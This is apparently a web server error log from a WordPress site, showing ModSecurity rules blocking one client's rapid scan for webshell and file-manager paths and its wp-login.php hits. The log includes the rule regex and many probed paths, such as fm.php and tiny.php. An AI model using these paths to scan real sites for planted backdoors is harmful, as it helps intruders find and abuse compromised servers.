[Wed Nov 26 18:18:32.367377 2025] [:error] [pid 45683:tid 45694] [client 84.17.35.112:41912] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSbT-BX1gQgNFW_222qdGQAAAUY"]
[Wed Nov 26 18:18:32.780746 2025] [:error] [pid 45684:tid 45737] [client 84.17.35.112:41916] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSbT-Pg5LMxwI4-PD1cvCQAAABY"]
[Wed Nov 26 18:18:33.194647 2025] [:error] [pid 45683:tid 45711] [client 84.17.35.112:41918] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSbT-RX1gQgNFW_222qdGgAAAVc"]
[Wed Nov 26 18:18:33.607267 2025] [:error] [pid 46443:tid 46463] [client 84.17.35.112:41930] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSbT-cLmDsnHrj-QFB_MbgAAAFI"]
[Wed Nov 26 18:18:34.029742 2025] [:error] [pid 20733:tid 20757] [client 84.17.35.112:41942] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSbT-gV9EP2HuRvnH8dJsgAAANY"]
[Wed Nov 26 18:18:34.655244 2025] [:error] [pid 45684:tid 45732] [client 84.17.35.112:41958] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSbT-vg5LMxwI4-PD1cvDQAAABE"]
[Wed Nov 26 18:18:35.068793 2025] [:error] [pid 46443:tid 46468] [client 84.17.35.112:41962] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSbT-8LmDsnHrj-QFB_MbwAAAFc"]
[Wed Nov 26 18:18:35.482397 2025] [:error] [pid 45684:tid 45729] [client 84.17.35.112:41970] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSbT-_g5LMxwI4-PD1cvDgAAAA4"]
[Wed Nov 26 18:18:37.290638 2025] [:error] [pid 45683:tid 45707] [client 84.17.35.112:41978] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSbT_RX1gQgNFW_222qdHwAAAVM"]
[Wed Nov 26 18:18:38.122410 2025] [:error] [pid 20733:tid 20756] [client 84.17.35.112:41988] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSbT_gV9EP2HuRvnH8dJtQAAANU"]
[Wed Nov 26 18:18:38.748005 2025] [:error] [pid 6471:tid 6477] [client 84.17.35.112:41998] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSbT_uh3Z9TZLlRuTiN8mAAAAIM"]
[Wed Nov 26 18:18:39.582717 2025] [:error] [pid 45769:tid 45785] [client 84.17.35.112:42010] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSbT_1dG5Eht9c3yy4MV7QAAAc0"]
[Wed Nov 26 18:18:40.422939 2025] [:error] [pid 46443:tid 46456] [client 84.17.35.112:42022] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSbUAMLmDsnHrj-QFB_MdgAAAEs"]
[Wed Nov 26 18:18:41.487803 2025] [:error] [pid 20733:tid 20747] [client 84.17.35.112:42078] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSbUAQV9EP2HuRvnH8dJvQAAAMw"]
[Wed Nov 26 18:18:42.752617 2025] [:error] [pid 6471:tid 6492] [client 84.17.35.112:56938] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSbUAuh3Z9TZLlRuTiN8nwAAAJI"]
[Wed Nov 26 18:18:43.376974 2025] [:error] [pid 20733:tid 20748] [client 84.17.35.112:56986] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSbUAwV9EP2HuRvnH8dJwQAAAM0"]
[Wed Nov 26 18:18:47.158641 2025] [:error] [pid 45683:tid 45705] [client 84.17.35.112:57018] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSbUBxX1gQgNFW_222qdNQAAAVE"]
[Wed Nov 26 18:18:47.571030 2025] [:error] [pid 45684:tid 45717] [client 84.17.35.112:57044] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSbUB_g5LMxwI4-PD1cvFwAAAAI"]
[Wed Nov 26 18:18:47.984453 2025] [:error] [pid 46443:tid 46469] [client 84.17.35.112:57048] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSbUB8LmDsnHrj-QFB_MhwAAAFg"]
[Wed Nov 26 18:18:48.406797 2025] [:error] [pid 46443:tid 46464] [client 84.17.35.112:57048] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSbUCMLmDsnHrj-QFB_MiQAAAFM"]
[Wed Nov 26 18:18:49.240623 2025] [:error] [pid 45684:tid 45726] [client 84.17.35.112:57064] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSbUCfg5LMxwI4-PD1cvGgAAAAs"]
[Wed Nov 26 18:18:49.653756 2025] [:error] [pid 20733:tid 20753] [client 84.17.35.112:57082] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSbUCQV9EP2HuRvnH8dJywAAANI"]
[Wed Nov 26 18:18:50.907253 2025] [:error] [pid 45684:tid 45722] [client 84.17.35.112:57086] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSbUCvg5LMxwI4-PD1cvIAAAAAc"]
[Wed Nov 26 18:18:51.320943 2025] [:error] [pid 46443:tid 46457] [client 84.17.35.112:47000] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSbUC8LmDsnHrj-QFB_MjAAAAEw"]
[Wed Nov 26 18:18:52.786649 2025] [:error] [pid 45685:tid 45755] [client 84.17.35.112:47018] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSbUDFj3f_NRdgU0DQ7KdQAAAQ0"]
[Wed Nov 26 18:18:53.631109 2025] [proxy_fcgi:error] [pid 45683:tid 45708] [client 84.17.35.112:47020] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:18:54.048899 2025] [:error] [pid 45683:tid 45702] [client 84.17.35.112:47020] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSbUDhX1gQgNFW_222qdOwAAAU4"]
[Wed Nov 26 18:18:54.460771 2025] [:error] [pid 6471:tid 6487] [client 84.17.35.112:47040] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSbUDuh3Z9TZLlRuTiN8pgAAAI0"]
[Wed Nov 26 18:18:55.295988 2025] [:error] [pid 45769:tid 45773] [client 84.17.35.112:47050] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSbUD1dG5Eht9c3yy4MV9wAAAcE"]
[Wed Nov 26 18:18:55.708253 2025] [:error] [pid 45685:tid 45746] [client 84.17.35.112:47062] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSbUD1j3f_NRdgU0DQ7KeAAAAQQ"]
[Wed Nov 26 18:18:58.833797 2025] [:error] [pid 45769:tid 45774] [client 84.17.35.112:47066] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSbUEldG5Eht9c3yy4MWCAAAAcI"]
[Wed Nov 26 18:18:59.246656 2025] [:error] [pid 45684:tid 45737] [client 84.17.35.112:47082] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSbUE_g5LMxwI4-PD1cvMAAAABY"]
[Wed Nov 26 18:19:00.507204 2025] [:error] [pid 45769:tid 45779] [client 84.17.35.112:47084] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSbUFFdG5Eht9c3yy4MWEAAAAcc"]
[Wed Nov 26 18:19:00.921605 2025] [:error] [pid 45684:tid 45732] [client 84.17.35.112:47100] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSbUFPg5LMxwI4-PD1cvNAAAABE"]
[Wed Nov 26 18:19:01.338889 2025] [:error] [pid 46443:tid 46469] [client 84.17.35.112:45742] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSbUFcLmDsnHrj-QFB_MlwAAAFg"]
[Wed Nov 26 18:19:02.886980 2025] [:error] [pid 45685:tid 45752] [client 84.17.35.112:45756] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aSbUFlj3f_NRdgU0DQ7KgQAAAQo"]
[Wed Nov 26 18:19:03.521343 2025] [:error] [pid 45684:tid 45725] [client 84.17.35.112:45768] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSbUF_g5LMxwI4-PD1cvPAAAAAo"]
[Wed Nov 26 18:19:05.434365 2025] [:error] [pid 46443:tid 46468] [client 84.17.35.112:45776] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aSbUGcLmDsnHrj-QFB_MoQAAAFc"]
[Wed Nov 26 18:19:07.912805 2025] [:error] [pid 46443:tid 46448] [client 84.17.35.112:45776] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSbUG8LmDsnHrj-QFB_MqwAAAEM"]
[Wed Nov 26 18:19:08.330636 2025] [:error] [pid 45684:tid 45730] [client 84.17.35.112:45778] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSbUHPg5LMxwI4-PD1cvRAAAAA8"]
[Wed Nov 26 18:19:10.653914 2025] [proxy_fcgi:error] [pid 45684:tid 45736] [client 84.17.35.112:45778] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:13.818352 2025] [:error] [pid 45684:tid 45734] [client 84.17.35.112:45778] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSbUIfg5LMxwI4-PD1cvaAAAABM"]
[Wed Nov 26 18:19:14.861148 2025] [:error] [pid 20733:tid 20756] [client 84.17.35.112:24009] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSbUIgV9EP2HuRvnH8dJ3AAAANU"]
[Wed Nov 26 18:19:15.989612 2025] [:error] [pid 45685:tid 45759] [client 84.17.35.112:43870] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aSbUI1j3f_NRdgU0DQ7KiQAAARE"]
[Wed Nov 26 18:19:18.296063 2025] [:error] [pid 45769:tid 45789] [client 84.17.35.112:43878] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSbUJldG5Eht9c3yy4MWIQAAAdE"]
[Wed Nov 26 18:19:19.129397 2025] [:error] [pid 6471:tid 6488] [client 84.17.35.112:43890] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSbUJ-h3Z9TZLlRuTiN81AAAAI4"]
[Wed Nov 26 18:19:19.752638 2025] [:error] [pid 46443:tid 46464] [client 84.17.35.112:43920] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSbUJ8LmDsnHrj-QFB_MuAAAAFM"]
[Wed Nov 26 18:19:21.012604 2025] [proxy_fcgi:error] [pid 46443:tid 46449] [client 84.17.35.112:43924] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:21.223085 2025] [proxy_fcgi:error] [pid 46443:tid 46465] [client 84.17.35.112:43924] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:21.428954 2025] [:error] [pid 46443:tid 46469] [client 84.17.35.112:43924] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSbUKcLmDsnHrj-QFB_MwgAAAFg"]
[Wed Nov 26 18:19:21.849066 2025] [:error] [pid 45684:tid 45728] [client 84.17.35.112:58238] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSbUKfg5LMxwI4-PD1cvbgAAAA0"]
[Wed Nov 26 18:19:23.751568 2025] [:error] [pid 45684:tid 45728] [client 84.17.35.112:58250] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aSbUK_g5LMxwI4-PD1cvfAAAAA0"]
[Wed Nov 26 18:19:24.378994 2025] [:error] [pid 45684:tid 45735] [client 84.17.35.112:45133] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aSbULPg5LMxwI4-PD1cvgAAAABQ"]
